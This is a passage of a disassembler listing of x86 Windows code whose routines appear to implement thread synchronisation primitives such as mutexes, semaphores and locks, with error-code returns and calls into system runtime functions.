		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:004019D8j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_432965
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432965
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432965:				; CODE XREF: ___:00432950j
					; ___:00432958j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432980	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_4329C5
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		jl	short loc_4329C0
		cmp	eax, 2
		jg	short loc_4329C0
		test	eax, eax
		jz	short loc_4329AC
		mov	eax, 30h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329AC:				; CODE XREF: sub_432980+23j
		mov	eax, [esp+4+arg_8]
		mov	ecx, [eax]
		push	ecx
		push	0
		push	esi
		call	sub_4020B3
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4329C0:				; CODE XREF: sub_432980+1Aj
					; sub_432980+1Fj
		mov	eax, 16h


loc_4329C5:				; CODE XREF: sub_432980+12j
		pop	esi
		retn
sub_432980	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4329F0	proc near		; CODE XREF: sub_4020B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		mov	[esp+0Ch+arg_8], esi
		call	sub_40154B
		add	esp, 4
		cmp	esi, eax
		jl	loc_432A95
		push	edi
		call	sub_401438
		add	esp, 4
		cmp	esi, eax
		jg	short loc_432A95
		cmp	esi, 0FFFFFFF1h
		jle	short loc_432A30
		cmp	esi, 0FFFFFFFEh
		jge	short loc_432A30
		mov	[esp+8+arg_8], 0FFFFFFFEh
		jmp	short loc_432A42
; ---------------------------------------------------------------------------


loc_432A30:				; CODE XREF: sub_4329F0+2Fj
					; sub_4329F0+34j
		cmp	esi, 0Fh
		jge	short loc_432A42
		cmp	esi, 2
		jle	short loc_432A42
		mov	[esp+8+arg_8], 2


loc_432A42:				; CODE XREF: sub_4329F0+3Ej
					; sub_4329F0+43j ...
		mov	edi, [esp+8+arg_0]
		push	ebx
		push	ebp
		lea	ebp, [edi+24h]
		push	ebp
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_432A8E
		mov	eax, [esp+10h+arg_8]
		mov	ecx, [edi+4]
		push	eax
		push	ecx
		call	near ptr 27205F0h
		nop
		test	eax, eax
		jnz	short loc_432A82
		push	ebp
		mov	ebx, 16h
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A82:				; CODE XREF: sub_4329F0+7Bj
		push	ebp
		mov	[edi+28h], esi
		call	sub_4010C3
		add	esp, 4


loc_432A8E:				; CODE XREF: sub_4329F0+68j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432A95:				; CODE XREF: sub_4329F0+19j
					; sub_4329F0+2Aj
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4329F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AD0	proc near		; CODE XREF: sub_40218Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_432B09
		mov	ecx, [esp+4+arg_4]
		cmp	ecx, 2
		jbe	short loc_432B04
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jz	short loc_432B04
		mov	dword ptr [ecx], 0
		mov	ecx, [esi+28h]
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432B04:				; CODE XREF: sub_432AD0+1Bj
					; sub_432AD0+23j
		mov	eax, 16h


loc_432B09:				; CODE XREF: sub_432AD0+12j
		pop	esi
		retn
sub_432AD0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B20	proc near		; CODE XREF: sub_401438j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B33
		cmp	eax, 2
		jg	short loc_432B33
		mov	eax, 0Fh
		retn
; ---------------------------------------------------------------------------


loc_432B33:				; CODE XREF: sub_432B20+6j
					; sub_432B20+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432B60	proc near		; CODE XREF: sub_40154Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_432B73
		cmp	eax, 2
		jg	short loc_432B73
		mov	eax, 0FFFFFFF1h
		retn
; ---------------------------------------------------------------------------


loc_432B73:				; CODE XREF: sub_432B60+6j
					; sub_432B60+Bj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_432B60	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432BA0:				; CODE XREF: ___:00401AC8j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432BE5
		nop
		call	near ptr 272059Dh
		cmp	esi, eax
		jz	short loc_432BE5
		push	esi
		push	0
		push	200h
		call	near ptr 2760000h
		nop
		test	eax, eax
		jnz	short loc_432BE5
		call	near ptr 279081Fh
		nop
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BE5:				; CODE XREF: ___:00432BA7j
					; ___:00432BB1j ...
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_432BFE
		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432BFE:				; CODE XREF: ___:00432BEBj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432C30:				; CODE XREF: ___:0040150Aj
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_432C75
		call	near ptr 272059Dh
		nop
		cmp	esi, eax
		jz	short loc_432C75
		push	esi
		push	0
		push	400h
		nop
		call	near ptr 2760000h
		test	eax, eax
		jnz	short loc_432C75
		nop
		call	near ptr 279081Fh
		mov	esi, eax
		sub	esi, 5
		neg	esi
		sbb	esi, esi
		and	esi, 2
		inc	esi
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432C75:				; CODE XREF: ___:00432C37j
					; ___:00432C41j ...
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432CA0:				; CODE XREF: ___:00401B4Aj
		push	0
		nop
		call	near ptr 2801E3Fh
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432CC0	proc near		; CODE XREF: sub_401C76j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		test	eax, eax
		jz	short loc_432CDF
		mov	edi, 1
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432CDF:				; CODE XREF: sub_432CC0+Aj
		push	4
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432CF7
		mov	edi, 0Ch


loc_432CF7:				; CODE XREF: sub_432CC0+30j
		mov	eax, [esp+8+arg_8]
		push	0
		push	3FFFFFFFh
		push	eax
		push	0
		call	near ptr 2720000h
		nop
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_432D24
		mov	edi, 1Ch
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D24:				; CODE XREF: sub_432CC0+4Fj
		test	edi, edi
		jz	short loc_432D36
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], edi
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432D36:				; CODE XREF: sub_432CC0+66j
		mov	ecx, [esp+8+arg_0]
		pop	edi
		xor	eax, eax
		mov	[ecx], esi
		pop	esi
		retn
sub_432CC0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432D80	proc near		; CODE XREF: sub_401686j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		jz	short loc_432DA5
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_432DA5
		mov	dword ptr [edi], 0
		mov	eax, [esi]
		push	eax
		nop
		call	near ptr 2810703h
		test	eax, eax
		jnz	short loc_432DB7
		mov	[edi], esi


loc_432DA5:				; CODE XREF: sub_432D80+8j
					; sub_432D80+Ej
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432DB7:				; CODE XREF: sub_432D80+21j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
sub_432D80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DF0	proc near		; CODE XREF: sub_4010A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E23
		mov	eax, [eax]
		push	0
		push	eax
		nop
		call	near ptr 2740E6Bh
		cmp	eax, 102h
		jnz	short loc_432E35
		mov	esi, 0Bh
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E23:				; CODE XREF: sub_432DF0+7j
					; sub_432DF0+Dj
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E35:				; CODE XREF: sub_432DF0+1Fj
		xor	eax, eax
		pop	esi
		retn
sub_432DF0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E60	proc near		; CODE XREF: sub_401041j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432E8D
		mov	eax, [eax]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F0h, 1F74F685h,	0C436E890h, 3089777Eh, 5EFFC883h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432E8D:				; CODE XREF: sub_432E60+7j
					; sub_432E60+Dj
		mov	esi, 16h
		call	near ptr 77C1F2BCh
		nop
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_432E60	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401898j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		test	ebp, ebp
		push	esi
		jnz	short loc_432EF3
		mov	esi, 16h
		nop
		call	near ptr 77C1F2BCh
		mov	[eax], esi
		pop	esi
		or	eax, 0FFFFFFFFh
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432EF3:				; CODE XREF: sub_432ED0+Bj
		push	ebx
		push	edi
		mov	edi, [esp+1Ch+arg_4]
		test	edi, edi
		jnz	short loc_432F02
		or	ebx, 0FFFFFFFFh
		jmp	short loc_432F61
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+2Bj
		lea	eax, [esp+1Ch+var_C]
		xor	ebx, ebx
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [edi]
		mov	esi, [esp+20h+var_C]
		add	esp, 4
		cmp	ecx, esi
		jl	short loc_432F61
		mov	edx, [edi+4]
		mov	eax, 431BDE83h
		add	edx, 7A120h
		mul	edx
		lea	eax, [ecx+ecx*4]
		lea	ecx, [esi+esi*4]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		sub	eax, ecx
		mov	ecx, [esp+1Ch+var_8]
		and	ecx, 0FFFFh
		cmp	eax, ecx
		jbe	short loc_432F61
		sub	eax, ecx
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_432F61
		dec	ebx


loc_432F61:				; CODE XREF: sub_432ED0+30j
					; sub_432ED0+4Aj ...
		mov	edx, [ebp+0]
		push	ebx
		mov	eax, [edx]
		push	eax
		call	sub_401D70
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 8
		dd 0F685F08Bh, 11745B5Fh, 0C33EE890h, 3089777Eh, 0FFC8835Eh
		dd 0CC4835Dh, 0C0335EC3h, 0CC4835Dh, 909090C3h,	3 dup(90909090h)
		dd 10h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_432FE0	proc near		; CODE XREF: sub_40103Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432FFF
		mov	eax, [eax]
		push	0
		push	1
		push	eax
		call	near ptr 2710D77h
		nop
		test	eax, eax
		jnz	short loc_43300F


loc_432FFF:				; CODE XREF: sub_432FE0+6j
					; sub_432FE0+Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_43300F:				; CODE XREF: sub_432FE0+1Dj
		xor	eax, eax
		retn
sub_432FE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433030	proc near		; CODE XREF: sub_40204Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_433056
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_433056
		mov	ecx, [esp+arg_4]
		test	ecx, ecx
		jle	short loc_433056
		mov	eax, [eax]
		push	0
		push	ecx
		push	eax
		call	near ptr 2710D77h
		nop
		test	eax, eax
		jnz	short loc_433066


loc_433056:				; CODE XREF: sub_433030+6j
					; sub_433030+Cj ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_433066:				; CODE XREF: sub_433030+24j
		xor	eax, eax
		retn
sub_433030	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433080:				; CODE XREF: ___:00401433j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jz	short loc_4330CD
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4330CD
		mov	edi, [esp+10h]
		test	edi, edi
		jz	short loc_4330CD
		mov	eax, [esi]
		push	0
		push	eax
		nop
		call	near ptr 2740E6Bh
		cmp	eax, 102h
		jnz	short loc_4330B1
		xor	eax, eax
		mov	[edi], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330B1:				; CODE XREF: ___:004330A8j
		mov	edx, [esi]
		lea	ecx, [esp+0Ch]
		push	ecx
		push	1
		push	edx
		nop
		call	near ptr 2710D77h
		mov	eax, [esp+0Ch]
		inc	eax
		mov	[edi], eax
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4330CD:				; CODE XREF: ___:00433088j
					; ___:0043308Ej ...
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433100:				; CODE XREF: ___:0040220Cj
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433120:				; CODE XREF: ___:00402013j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433140:				; CODE XREF: ___:00401CB2j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 28h
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433160	proc near		; CODE XREF: sub_401992j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E980
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433194
		push	esi
		push	ecx
		call	sub_4021EE
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433194:				; CODE XREF: sub_433160+17j
		test	eax, eax
		jnz	short loc_43319D
		mov	esi, 16h


loc_43319D:				; CODE XREF: sub_433160+36j
		push	offset dword_50E980
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
sub_433160	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4331D0	proc near		; CODE XREF: sub_4021EEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch+arg_0]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebp, edi
		mov	[esp+14h+var_4], edi
		jnz	short loc_4331EE
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4331EE:				; CODE XREF: sub_4331D0+11j
		lea	eax, [esp+14h+var_4]
		push	eax
		call	sub_401C26
		mov	ebx, [esp+18h+arg_4]
		add	esp, 4
		test	eax, eax
		jz	short loc_433229
		mov	[esp+14h+var_4], 1


loc_43320B:				; CODE XREF: sub_4331D0+5Ej
					; sub_4331D0+63j
		push	8
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433240
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433229:				; CODE XREF: sub_4331D0+31j
		cmp	[esp+14h+var_4], 1
		jle	short loc_43320B
		cmp	ebx, 1
		jnz	short loc_43320B
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 28h
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: sub_4331D0+4Cj
		mov	eax, [esp+14h+var_4]
		cmp	eax, 1
		jle	short loc_43325D
		mov	[esi+4], eax
		mov	dword ptr [esi], 1
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: sub_4331D0+77j
		lea	ecx, [esp+14h+arg_0]
		push	ecx
		call	sub_401A0F
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433293
		mov	edx, [esp+14h+arg_0]
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	[edx], ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_433293
		mov	dword ptr [esi], 3


loc_433293:				; CODE XREF: sub_4331D0+9Ej
					; sub_4331D0+BBj
		lea	edx, [esp+14h+arg_0]
		push	edx
		call	sub_4010AA
		add	esp, 4
		test	edi, edi
		jnz	short loc_4332AF
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4332AF:				; CODE XREF: sub_4331D0+D2j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, edi
		mov	dword ptr [ebp+0], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4331D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433310:				; CODE XREF: ___:00401109j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		xor	ebx, ebx
		test	edi, edi
		jz	loc_4333B5
		mov	esi, [edi]
		test	esi, esi
		jz	loc_4333B5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_433378
		cmp	dword ptr [esi], 3
		jnz	short loc_43335D
		lea	eax, [esi+4]
		push	eax
		call	sub_40222F
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_4333AF


loc_433347:				; CODE XREF: ___:0043336Bj
		push	esi
		mov	dword ptr [edi], 0
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43335D:				; CODE XREF: ___:00433333j
		push	1
		push	0
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 1
		jz	short loc_433347
		mov	ebx, 16h
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433378:				; CODE XREF: ___:0043332Ej
		push	offset dword_50E980
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_43339F
		push	offset dword_50E980
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43339F:				; CODE XREF: ___:00433386j
		push	offset dword_50E980
		mov	ebx, 10h
		nop
		call	near ptr 7C9010EDh


loc_4333AF:				; CODE XREF: ___:00433345j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4333B5:				; CODE XREF: ___:0043331Bj
					; ___:00433325j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333F0:				; CODE XREF: ___:004021C1j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433451
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433451
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433411
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433456


loc_433411:				; CODE XREF: ___:00433402j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 2
		jnz	short loc_433433


loc_433423:				; CODE XREF: ___:00433431j
		push	1
		push	2
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		cmp	eax, 2
		jz	short loc_433423


loc_433433:				; CODE XREF: ___:00433421j
		mov	eax, [esi]
		cmp	eax, 2
		jnz	short loc_43343E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43343E:				; CODE XREF: ___:00433438j
		cmp	eax, 3
		jnz	short loc_433451
		add	esi, 4
		push	esi
		call	sub_402225
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433451:				; CODE XREF: ___:004333F7j
					; ___:004333FDj ...
		mov	eax, 16h


loc_433456:				; CODE XREF: ___:0043340Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433480:				; CODE XREF: ___:00401AA5j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	short loc_4334C1
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4334C1
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43349B


loc_433494:				; CODE XREF: ___:004334A7j
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43349B:				; CODE XREF: ___:00433492j
		push	2
		push	1
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_433494
		dec	eax
		jz	short loc_4334BD
		dec	eax
		jnz	short loc_4334C1
		add	esi, 4
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334BD:				; CODE XREF: ___:004334AAj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4334C1:				; CODE XREF: ___:00433487j
					; ___:0043348Dj ...
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:00401933j
		push	esi
		mov	esi, [esp+8]
		test	esi, esi
		jz	short loc_433540
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_433540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433511
		push	esi
		call	sub_401992
		add	esp, 4
		test	eax, eax
		jnz	short loc_433545


loc_433511:				; CODE XREF: ___:00433502j
		mov	esi, [esi]
		push	1
		push	2
		push	esi
		call	dword_50E3FC	; InterlockedCompareExchange
		dec	eax
		jz	short loc_43353C
		dec	eax
		jz	short loc_433535
		dec	eax
		jnz	short loc_433540
		add	esi, 4
		push	esi
		call	sub_40177B
		add	esp, 4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433535:				; CODE XREF: ___:00433522j
		mov	eax, 10h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43353C:				; CODE XREF: ___:0043351Fj
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433540:				; CODE XREF: ___:004334F7j
					; ___:004334FDj ...
		mov	eax, 16h


loc_433545:				; CODE XREF: ___:0043350Fj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433570:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43359C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_433597
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433597:				; CODE XREF: ___:0043358Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43359C:				; CODE XREF: ___:00433582j
		pop	esi
		retn
